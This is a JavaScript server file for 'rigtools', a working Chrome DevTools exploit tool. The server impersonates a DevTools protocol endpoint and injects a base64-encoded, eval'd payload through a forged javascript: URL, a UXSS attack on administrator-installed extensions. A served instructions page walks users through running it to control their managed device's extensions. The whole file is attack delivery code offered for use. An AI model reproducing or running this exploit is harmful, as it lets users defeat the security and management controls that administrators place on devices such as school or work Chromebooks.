import { WebSocketServer } from "ws"; import { createServer } from "http"; import finalhandler from "finalhandler"; import serveStatic from "serve-static"; import * as readline from "readline-sync"; import * as fs from "fs"; import path from "path"; const WebSocket_port = 8080; const HTTP_port = 9123; // serve static files const serve = serveStatic("./"); const WhalePage = `
rigtools

How to use RigTools


Requirements:



Instructions:

  1. Open devtools://devtools/bundled/devtools_app.html
  2. Open up the link above
  3. Double click the gray box
  4. If you have specific extension buttons, click your extension button. Otherwise, click the extension id button and paste in your blocking extension's id (it has to be installed by administrator and it has to have the ability to manage other extensions)

Note: After using rigtools, the chrome.management page will always be located at filesystem:chrome-extension://ext-id/temporary/index.html. It is recommended to bookmark this page as it persists after shutdown and is only overwritten by using rigtools again.

After using the update button on rigtools, the newly updated file will always be located at filesystem:chrome-extension://ext-id/persistent/rigtools.html. Bookmark this page instead if you want to constantly get the latest updates and bug-fixes.


Repo:

https://github.com/T3M1N4L/rigtools-updated-ui Based off of Miner49ur's fork of Rigtools

`; let globalUID = 0; let sessionId = "89AC63D12B18F3EE9808C13899C9B695"; // Reading the server configuration let serverConfig = '{"updater_url": "rigtools.asyncsmasher.com"}'; try { serverConfig = fs.readFileSync("server_config.json"); } catch (e) { console.log( `Using default update url ${ JSON.parse(serverConfig).updater_url } because it failed to read the file: \n${e}` ); } const server = createServer((req, res) => { if ( req.headers.upgrade && req.headers.upgrade.toLowerCase() === "websocket" ) { return; } // Serve the custom HTML page for normal HTTP requests res.setHeader("Content-Type", "text/html"); res.setHeader("Access-Control-Allow-Origin", "*"); res.writeHead(200); res.end(WhalePage); }); // WebSocket server const wss = new WebSocketServer({ server }); wss.on("connection", function connection(wss_con) { wss_con.on("message", async (msg) => { const result = { payload1: eval(fs.readFileSync("payload.mjs")), }; let htmlFile = fs .readFileSync(new URL("./payloads/index.html", import.meta.url)) .toString(); htmlFile.replace("`", "`"); let jsFile = fs .readFileSync(new URL("./payloads/index.js", import.meta.url)) .toString(); let json_msg = JSON.parse(msg.toString()); let { id, method, params } = json_msg; console.log(id + "> ", method, params); const entry = fs.readFileSync("./entry/entry.html"); if (method === "Target.setDiscoverTargets") { wss_con.send( JSON.stringify({ method: "Network.requestWillBeSent", params: { request: { url: `javascript: (function () {eval(atob("${btoa( `(${result.payload1 .toString() .replace("%%EXTJS%%", btoa(jsFile)) .replace("%%EXTHTML%%", btoa(htmlFile)) .replace( /%%updaterurl%%/g, JSON.parse(serverConfig).updater_url ) .replace("%%HTMLENTRY%%", btoa(entry.toString()))})()` )}"))})() /********************************************Built-in payload for uxss*/ `, }, }, }) ); } wss_con.send( JSON.stringify({ id: id, error: null, sessionId: sessionId, result: {}, }) ); }); }); server.listen(WebSocket_port, () => { console.log( `Server running and WebSocket accessible at ws://localhost:${WebSocket_port}` ); }); createServer((req, res) => { res.setHeader("Access-Control-Allow-Origin", "*"); serve(req, res, finalhandler(req, res)); }).listen(HTTP_port); console.log( `The HTTP server is accessible at http://localhost:${HTTP_port}\n--------` ); console.log( `The WebSocket is accessible at ws://localhost:${WebSocket_port}\n--------` );